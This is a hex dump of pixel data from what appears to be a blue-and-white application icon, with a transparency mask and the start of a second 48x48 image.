FFFCF6FFAEC9F1FF1B6EEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CCFF175ABFFF 3168B9F04171B9F01457BBFF1B60C8FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1B6FEDFF3C84F2FFF1F3F8FFFEFCFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFF6F9FEFF3D8AFBFF1B75FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1571FAFF63A0FBFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFEFEFF FFFFFEFFC7DDFDFF1F77FAFF2078FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1672FAFFA1C6FCFFFFFFFEFFFEFEFEFFFDFDFDFFFDFDFDFFFBFBFBFFF9F9F9FF FFFCF6FFADC8F1FF1B6EEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CCFF175ABFFF 3268B9F04171B9F01457BBFF1B60C8FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1C70EDFF307EF1FFEAF0F8FFFFFDFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFEFF81B2FCFF116FFAFF2078FAFF2179FAFF2179FAFF1C75FAFF 1D76FAFFB5D2FDFFFFFFFEFFFFFEFEFFFEFEFEFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFD2E4FFFFF1F7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFEFEFFFEFEFEFF FFFFFEFFF0F6FEFF428DFBFF1873FAFF2279FAFF2279FAFF2279FAFF1974FAFF 3485FAFFEAF2FEFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFEF6FF9FC0F1FF166BEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3268B9F04171B9F01457BBFF1B60C8FF1C65D2FF1E6ADBFF1F6DE2FF2070E9FF 1F72EDFF1F73F1FFBAD3F7FFFFFFFBFFFCFCFCFFFDFDFDFFFDFDFDFFFEFEFEFF FEFEFEFFFFFFFEFFF4F8FEFF6CA5FCFF1A74FAFF1672FAFF1873FAFF277CFAFF ADCCFCFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFFFFFFFFFFFF FFFFFFFF84B5FDFFD4E5FEFFFFFFFFFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFC8DEFDFF2A7EFAFF1371FAFF1772FAFF1370FAFF2178FAFF AFCEFDFFFFFFFEFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFEF6FF81AEF1FF136AEAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3268B9F04171B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF 2073EDFF146CF1FF7BACF6FFFFFFFBFFFCFCFCFFFDFDFDFFFDFDFDFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFCFDFEFFC0D8FDFF9DC3FCFFA5C8FCFFDBE9FDFF FFFFFEFFFFFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFF EDF4FEFF3483FAFFB6D3FDFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFD8E7FDFF8DBAFCFF619FFBFF7FB2FCFFC6DCFDFF FFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFDFDFDFFFCFCFCFFFAFAFBFFFDFCF9FF EAEFF6FF3C84EFFF1B6EEAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3267B9F04171B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF 2073EDFF1A71F1FF438AF5FFF8F9FBFFFFFEFCFFFDFDFDFFFDFDFDFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FFFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFF B7D3FDFF0F6EFAFF73AAFCFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFCFCFCFFFAFAFAFFFFFFF9FF 99BDF5FF156CEFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3267B9F04171B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF 2073EDFF2074F1FF1B72F4FFAACAF9FFFFFFFCFFFEFDFDFFFDFDFDFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFBFCFEFF 609EFBFF1471FAFF297EFAFFE2EDFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFCFCFCFFFDFCFBFFFAFAF9FF 5292F3FF176EEFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CBFF165ABFFF 3267B9F04171B9F01457BBFF1B60C8FF1C65D2FF1E69DBFF1F6EE2FF2070E9FF 2073EDFF2174F1FF1A71F3FF3B86F6FFE6EEFBFFFFFFFDFFFDFDFDFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFA7C9FCFF 1A74FAFF2178FAFF1873FAFF77ADFBFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFDFCFCFFFFFFFBFF9ABFF7FF 1A70F2FF2073EFFF2071EAFF1F6EE3FF1E6BDDFF1D67D5FF1C62CBFF165ABFFF 3368B9F04272B9F01456BBFF1B60C7FF1C65D2FF1E69DBFF1F6DE1FF2070E8FF 2072EDFF2174F0FF2175F4FF1670F5FF5D9BF8FFF6F9FDFFFFFFFDFFFDFDFDFF FDFDFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFEFEFFFFFFFEFFC8DDFDFF287CFAFF 1E77FAFF2279FAFF2178FAFF1B75FAFFA8CAFCFFFFFFFEFFFFFFFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFDFDFDFFFFFFFCFFC9DCFAFF2A7BF4FF 1C71F1FF2073EEFF2071EAFF1F6EE3FF1E6BDDFF1D66D5FF1C61CAFF165ABFFF 3368B8F04272B9F01456BAFF1B60C7FF1C65D1FF1E69DAFF1F6DE1FF1F70E7FF 2072ECFF2174F0FF2175F3FF2176F5FF1570F7FF66A1F9FFEFF5FCFFFFFFFDFF FEFDFDFFFDFDFDFFFDFDFDFFFDFDFDFFFDFDFDFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFC3DAFDFF3081FAFF1B75FAFF 2279FAFF2279FAFF2279FAFF1E77FAFF2279FAFFB2D0FDFFFFFFFEFFFFFFFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFDFDFDFF FDFDFDFFFDFDFDFFFDFDFDFFFFFEFDFFFFFFFCFFCBDEFAFF3382F6FF1A71F3FF 2174F1FF2073EDFF2071E9FF1F6EE3FF1E6ADCFF1D66D4FF1C61CAFF165ABEFF 3368B8F04272B8F01456B9FF1B5FC6FF1C65D1FF1E69DAFF1F6DE0FF1F70E7FF 2072ECFF2173EFFF2175F2FF2176F5FF2177F6FF1670F7FF4E92F9FFCEE0FBFF FFFFFDFFFFFFFDFFFFFFFDFFFEFDFDFFFDFDFDFFFDFDFDFFFDFDFDFFFDFDFDFF FFFEFDFFFFFFFDFFFFFFFDFFF7FAFDFF9BC1FBFF2379F9FF1C74F9FF2278F9FF 2278F9FF2278F9FF2278F9FF2278F9FF1D75F9FF2178F9FF96BFFBFFFAFCFDFF FFFFFDFFFFFFFDFFFDFDFDFFFDFDFDFFFDFDFDFFFDFDFDFFFDFDFDFFFDFDFDFF FDFDFDFFFFFEFDFFFFFFFDFFFFFFFCFFB2CFFAFF2E7FF7FF1972F5FF2175F3FF 2174F0FF2072EDFF2070E8FF1F6EE2FF1E6ADCFF1D66D3FF1B61C9FF1659BDFF 3367B7F04372B8F01355B8FF1B5FC5FF1C64CFFF1D68D8FF1E6CDFFF1F6FE6FF 2071EBFF2173EEFF2175F1FF2176F4FF2177F5FF2177F6FF1972F7FF267AF7FF 83B2FAFFC8DDFBFFF0F4FCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFFFCFF FFFEFCFFE7F0FCFFB3D0FBFF5697FAFF1872F8FF1E76F8FF2278F8FF2278F8FF 2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF1F76F8FF1872F8FF5D9CFAFF BED7FBFFEFF4FCFFFFFFFCFFFFFFFCFFFFFEFCFFFFFEFCFFFFFEFCFFFFFFFCFF FFFFFCFFFBFBFCFFCBDFFAFF6DA5F8FF1A73F6FF1B73F5FF2176F4FF2175F2FF 2173EFFF2072ECFF1F70E7FF1F6DE1FF1E69DBFF1C65D2FF1B61C8FF1658BCFF 3267B7F04472B7F01355B7FF1B5EC4FF1C63CEFF1D68D7FF1E6BDEFF1F6FE4FF 2070E9FF2072EDFF2174F0FF2175F2FF2176F4FF2176F5FF2177F6FF1E75F6FF 1771F6FF2076F7FF3C87F7FF7AADF8FFA1C5F9FFB9D3FAFFB0CEFAFF96BEF9FF 5F9DF8FF2D7FF7FF1B73F7FF1872F7FF2077F7FF2177F7FF2177F7FF2177F7FF 2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2077F7FF1771F7FF 1D74F7FF3A87F7FF8DB8F9FFCBDEFAFFEEF3FAFFF1F4FAFFEFF3FAFFD5E4FAFF 9BC1F9FF5193F7FF2177F6FF1771F6FF1F76F5FF2176F4FF2175F3FF2174F1FF 2073EEFF2071EAFF1F6FE6FF1F6CE0FF1E69D9FF1C65D1FF1B5FC7FF1658BBFF 3267B6F04472B7F01354B5FF1A5EC2FF1C62CCFF1D67D5FF1E6ADCFF1F6EE2FF 2070E7FF2071EBFF2173EEFF2174F1FF2175F2FF2175F3FF2176F4FF2176F5FF 2176F5FF1F75F5FF1C73F5FF146FF5FF1770F5FF1E75F5FF1C73F5FF146FF5FF 1770F5FF1D74F5FF2076F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF 2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF 1F76F5FF1B73F5FF1570F5FF2378F5FF2F7EF5FF3683F5FF307FF5FF267AF5FF 1770F5FF1871F4FF1F75F5FF2176F4FF2176F4FF2175F3FF2174F1FF2173EFFF 2072ECFF2070E8FF1F6EE4FF1E6BDEFF1D68D7FF1C64CFFF1B5FC5FF1658B9FF 3367B5F04774B6F01253B2FF1A5CC0FF1B61C9FF1D65D2FF1E69DAFF1F6CDFFF 1F6EE4FF2070E8FF2071EBFF2073EDFF2173EFFF2174F0FF2174F1FF2175F2FF 2175F2FF2175F2FF2175F2FF2175F2FF2074F2FF1F73F2FF1F74F2FF2174F2FF 2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF 2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF 2175F2FF2175F2FF2074F2FF1E73F2FF1D72F2FF1C72F2FF1D72F2FF1E73F2FF 2074F2FF2175F2FF2175F2FF2174F1FF2175F1FF2174EFFF2173EEFF2072ECFF 2070E9FF1F6FE6FF1F6DE1FF1E6ADBFF1D67D5FF1C62CCFF1B5EC2FF1556B6FF 3567B4F04D77B6F01150AFFF1A5BBCFF1B5FC6FF1C64CFFF1D68D6FF1E6BDCFF 1F6DE0FF1F6EE4FF2070E8FF2071EAFF2071EBFF1F72ECFF1E71ECFF1D71EEFF 1D71EDFF1D70EDFF1D70EDFF1D70EDFF1D70EDFF1D70EEFF1D70EEFF1D70EEFF 1D70EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF 1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF 1D71EEFF1D70EEFF1D70EEFF1D70EEFF1D70EEFF1D70EEFF1D70EDFF1D70EDFF 1D70EDFF1D70EDFF1D71EDFF1E71EDFF1F71ECFF2072ECFF2071EBFF2071E8FF 1F6FE5FF1F6DE1FF1E6BDDFF1D68D8FF1D65D1FF1B61C8FF1A5CBFFF1454B3FF 3869B2F1597EB7F80F4DABFF1959B8FF1A5EC2FF1C62CAFF1D66D2FF1E68D8FF 1E6ADCFF1F6CDFFF1F6DE2FF1D6EE4FF1C6DE5FF1F70E7FF2976EAFF347EECFF 3C83EEFF4287EEFF468AEFFF498CF0FF4A8DF0FF4C8DF1FF4C8EF1FF4D8EF1FF 4D8EF1FF4D8FF1FF4D8FF1FF4D8FF1FF4D8FF1FF4D8EF1FF4D8EF1FF4D8EF1FF 4D8EF1FF4D8EF1FF4D8EF1FF4D8EF1FF4D8EF1FF4D8FF1FF4D8FF1FF4D8FF1FF 4D8FF1FF4D8EF1FF4D8EF1FF4C8EF1FF4C8EF1FF4B8DF0FF498CF0FF478AEFFF 4388EFFF3E84EEFF377FEDFF2C79EBFF2271E8FF1C6DE6FF1C6DE5FF1E6EE2FF 1F6DE0FF1E6BDDFF1E69D9FF1D67D4FF1C63CCFF1B5FC4FF1A5BBBFF1351AFFF 3D6CB0ED5E82B6B80D4AA6FF1957B3FF1A5BBCFF1A5FC5FF1B63CBFF1D65D1FF 1D67D7FF1D68D9FF1A68DCFF2672E0FF4889EAFF659DF0FF75A8F4FF7EAEF5FF 82B1F7FF84B2F7FF86B3F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF 87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF 87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF 87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF86B3F7FF 85B2F7FF83B1F7FF7FAEF6FF78A9F5FF6BA1F1FF5290ECFF3078E3FF1B68DCFF 1C68DAFF1E68D8FF1D66D3FF1C63CEFF1B60C7FF1A5CBFFF1858B6FF1652ABFF 2258A7BB255AA978164FA4FF1754ADFF1858B6FF1A5CBEFF1B5FC5FF1C62CBFF 1A62CEFF1C65D2FF4281E0FF72A3EFFF86B2F4FF89B4F5FF87B3F5FF86B2F5FF 86B2F5FF85B2F5FF85B2F5FF85B2F5FF85B1F5FF84B1F5FF84B1F5FF84B1F5FF 84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF 84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF 84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF85B1F5FF85B2F5FF85B2F5FF 85B2F5FF86B2F5FF86B2F5FF86B3F5FF88B4F5FF87B3F5FF7AAAF1FF528DE5FF 236AD5FF1862CFFF1B62CCFF1B60C7FF1A5DC0FF1959B8FF1855B0FF154FA5FF 2056A6B7527CB9881950A1FF1650A8FF1855B0FF1958B7FF1A5CBEFF195DC3FF 2367CBFF4C86DDFF7FACF0FF89B3F3FF85B0F3FF85B1F3FF85B1F3FF85B1F3FF 85B1F4FF85B1F4FF85B1F4FF85B2F4FF85B2F4FF86B2F4FF86B2F4FF86B2F4FF 86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF 86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF 86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF85B2F4FF85B2F4FF85B1F4FF 85B1F4FF85B1F4FF85B1F3FF85B1F3FF85B1F3FF85B1F3FF87B2F3FF86B1F2FF 5E94E3FF2D6FD0FF1A5EC4FF1A5CBFFF1A5AB9FF1956B2FF1752AAFF0F499EFF 416DAEBC7796C5481B509EFA144CA0FF1752A9FF1855AFFF1757B5FF1F5EBDFF 5085D7FF7DAAECFF88B3F1FF86B2F1FF86B2F2FF86B1F2FF85B0F1FF83AFF1FF 82AEF1FF81AEF0FF81ADF0FF80ACF0FF7FACF0FF7FACF0FF7FABEFFF7EABEFFF 7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7FACEFFF7FACEFFF 7FACEFFF7FACEFFF7FACEFFF7FACEFFF7FACEFFF7EABEFFF7EABEFFF7EABEFFF 7EABEFFF7EABEFFF7EABEFFF7FABEFFF7FABEFFF7FACF0FF80ACF0FF80ADF0FF 81AEF0FF82AEF0FF83AFF1FF84B0F1FF85B1F2FF86B1F2FF86B1F1FF87B2F1FF 84B0EFFF6294DFFF2866C2FF1757B6FF1855B1FF1853AAFF174FA3FF0C4599FF 5F83B9A196AED2033A66A8E80C4496FF164EA1FF1751A7FF1753ACFF1B58B2FF 2B66BEFF3871C6FF3F77CCFF417ACEFF4079CEFF3D77CEFF3974CDFF3571CBFF 326FCAFF2F6DC9FF2E6CC9FF2C6BC8FF2B6AC8FF2A69C8FF2A69C7FF2968C7FF 2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF 2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF 2968C7FF2968C7FF2969C7FF2969C7FF2A69C7FF2A6AC8FF2B6AC8FF2D6CC9FF 2F6DC9FF316ECAFF3471CBFF3873CCFF3C77CDFF3F78CEFF4179CEFF4078CCFF 3A73C8FF2F69C1FF1E5BB4FF1753ADFF1751A8FF174FA2FF114799FF1F519CFC B4C2D95CD0D9E500839FC97B0E4494FF0D4394FF134A9DFF164EA2FF1751A6FF 1450A8FF1350AAFF1350ADFF1251AEFF1352B0FF1352B1FF1453B2FF1453B2FF 1554B3FF1555B4FF1555B4FF1555B4FF1555B4FF1655B4FF1655B4FF1655B4FF 1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF 1655B4FF1656B4FF1656B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF 1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1555B4FF1555B4FF1555B4FF 1555B4FF1555B3FF1454B3FF1453B2FF1353B1FF1352B0FF1251AFFF1351ADFF 1350ABFF1450A9FF1650A7FF164FA3FF154C9EFF114797FF0F4493FF5B7FB8A6 CED7E400C5D1E2009EB5D8006589C17C3562A5E01C4F9BFF184C9BFF154B9DFF 0A449AFF0C469DFF0F49A0FF104BA2FF114CA3FF124DA4FF124DA5FF124DA6FF 124EA6FF124EA6FF124EA6FF124EA6FF124EA6FF124EA6FF134EA7FF134EA7FF 134EA7FF134FA7FF134FA7FF134FA7FF134FA7FF134FA7FF134FA7FF134FA8FF 134FA8FF134FA7FF134FA7FF134EA7FF134EA7FF134EA7FF134EA7FF134EA7FF 134EA7FF134EA7FF134EA7FF134EA7FF124EA6FF124EA6FF124EA6FF124EA6FF 124EA6FF124EA6FF124DA6FF124DA5FF124DA4FF114CA4FF104BA2FF0F4AA0FF 0E479DFF0A449BFF0E469BFF184E9DFF184C99FF22539CEE4A74B4A59AB2D70D A4BAD900C5D1E20094AED40097B0D60083A2CF0B86A2CE604775B9801C51A086 6487BAE9597FB9F04973B4F0406EB2F03C6BB1F03A69B1F03968B0F03767B0F0 3767B0F03667B0F03666B0F03666B0F03666B0F03666B0F03566B0F03466B0F0 3466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F0 3466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F0 3466B0F03466B0F03466B0F03466AFF03666B0F03666B0F03666B0F03666B0F0 3666B0F03767B0F03767B0F03868B1F03A69B0F03C6BB1F03F6EB2F04773B4F0 537BB7F06D8DBEF04570AFB82F62AF805E86BF606D90C60F6D90C80094ADD300 A8BCDA00F000000000000007C000000000000003800000000000000180000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000080000000 0000000080000000000000008000000000000001C000000000000003F0000000 0000000F28000000300000006000000001002000000000008025000000000000 00000000000000000000000097A7BD0091A2BC006B89B4544671B38F3D6EB7B8 2763BCB82965BED43A6FC0F0376FC3F0366FC4F03770C5F0376FC5F0376FC6F0 3770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F0 3770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F0 3770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F0376FC5F0 3770C5F0376FC4F0376FC3F0396EC0F03069BEE02864BDB83D6EB8B8416FB39C 6C89B36D9CA8BC07B4B8BF008EA1BE006486B58A1C57AEFF1657B7FF155AC0FF 1A5FC7FF1A61CCFF1862D0FF1863D3FF1964D4FF1964D5FF1964D6FF1964D6FF 1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF 1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF 1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1964D6FF 1964D5FF1964D5FF1863D3FF1862D1FF1962CDFF195FC9FF155AC2FF1557BAFF 1755B0FF5B7FB4BFA9B2C007718FBB2A2059AEFC1455B6FF1A5EC2FF1C62CBFF 1D66D3FF1D68D8FF1E6ADBFF1F6BDDFF1E6CDFFF1E6CDFFF1E6DE0FF1E6DE0FF 1E6DE0FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF 1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF 1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE0FF1E6DE0FF1E6DE0FF 1E6CDFFF1E6CDFFF1F6BDEFF1E6ADBFF1E69D8FF1D66D4FF1C63CCFF1B5FC4FF 1658B9FF1753ADFF6F8DB95E6889BA741755B1FF195BBEFF1C62CAFF1D66D3FF 1E6ADBFF1F6DDFFF1F6EE3FF1F6FE5FF2070E7FF2070E7FF2071E8FF2071E8FF 2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF 2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF 2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E8FF2071E8FF 2071E8FF2070E7FF1F70E6FF1F6EE4FF1F6DE0FF1E6ADCFF1D67D5FF1C63CCFF 1B5DC1FF1152B2FF4B76B5A13869B3821857B6FF1B5FC4FF1C64D0FF1E69DAFF 1F6DE1FF2070E6FF2071EAFF2072EDFF2173EEFF2173EEFF2173EFFF2173F0FF 2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF 2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF 2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173EFFF 2173EFFF2173EEFF2072EDFF2072EBFF2070E7FF1F6EE2FF1E6ADCFF1D65D3FF 1B61C7FF1557B8FF3165B3B95D82B9D11053B8FF1C61C9FF1D67D5FF1E6CDEFF 1F70E5FF2072EBFF2173EEFF2175F1FF2175F2FF2176F3FF2176F3FF2176F4FF 2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF 2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF 2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F3FF 2176F3FF2175F3FF2175F2FF2173EFFF2072ECFF2070E6FF1F6DE0FF1D68D7FF 1C62CBFF1759BCFF3065B3C8557EBAF51155BCFF1C63CCFF1D68D8FF1F6DE1FF 2071E8FF2173EEFF2174F2FF2176F4FF2176F6FF2177F6FF2177F6FF2177F6FF 2177F6FF2177F6FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF 2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF 2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F6FF2177F6FF2177F6FF 2177F6FF2176F6FF2176F4FF2175F3FF2173EFFF2071EAFF1F6EE2FF1E6ADAFF 1C64CFFF1559BFFF3E6FB7F04B77BAF01457BEFF1C63CEFF1E69DAFF1F6EE2FF 2072EBFF2174EFFF2176F3FF2177F6FF2177F7FF2278F8FF2177F8FF1E76F8FF 1872F8FF1470F8FF126FF8FF136FF8FF1771F8FF1D75F8FF2177F9FF2278F9FF 2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF 2178F8FF1E76F8FF1973F8FF1671F8FF1570F8FF1671F8FF1A73F8FF1E75F8FF 2177F8FF2177F7FF2177F6FF2176F5FF2175F1FF2072ECFF1F6FE4FF1E6ADCFF 1C65D1FF165AC2FF376AB8F04674BAF01458BEFF1C63CFFF1E6ADBFF1F6FE4FF 2072EBFF2175F1FF2176F5FF2177F7FF2278F8FF1E76F9FF1B74F9FF3080FAFF 5E9CFBFF80B1FBFF90BBFBFF89B7FCFF6DA6FBFF3B88FAFF1B75FAFF1D76F9FF 2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2077FAFF 1973F9FF2E7FFAFF5799FBFF73A9FBFF7AADFBFF71A8FBFF4F94FAFF2C7EF9FF 1A73F9FF1F76F8FF2177F7FF2177F5FF2175F2FF2073EDFF1F6FE6FF1E6BDDFF 1D65D2FF175CC3FF3469B9F04473BAF01458BFFF1C64D0FF1E6ADBFF1F6FE4FF 2072ECFF2175F1FF2177F5FF2177F7FF1973F8FF287CFAFFA1C5FCFFE8F1FDFF FFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFF0F6FEFFA9CBFDFF2B7FFBFF 1973FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF1C75FAFF1E76FAFF 88B7FCFFE2EDFEFFFDFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFBFCFEFFE5EFFDFF 90BBFBFF2077F8FF1A73F7FF2177F6FF2175F2FF2073EEFF2070E6FF1E6BDEFF 1D65D2FF175CC3FF3369B9F04473BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF 2072EDFF2175F2FF2177F5FF1872F7FF3D89F9FFC6DCFDFFFFFFFEFFFFFFFEFF FFFFFEFFFFFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFCDE0FDFF 438DFBFF1873FAFF2279FAFF2279FAFF2279FAFF1A75FAFF3082FBFFB2D1FDFF FFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FFFFFEFFBBD5FCFF3684F8FF1871F6FF2176F3FF2172EEFF2070E6FF1E6BDEFF 1D66D3FF175CC4FF3269BAF04373BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF 2072EDFF2175F2FF1972F5FF3F89F9FFDFEBFDFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFF E6F0FEFF488FFBFF1974FAFF2379FAFF1C76FAFF3383FBFFD0E2FDFFFFFFFEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF 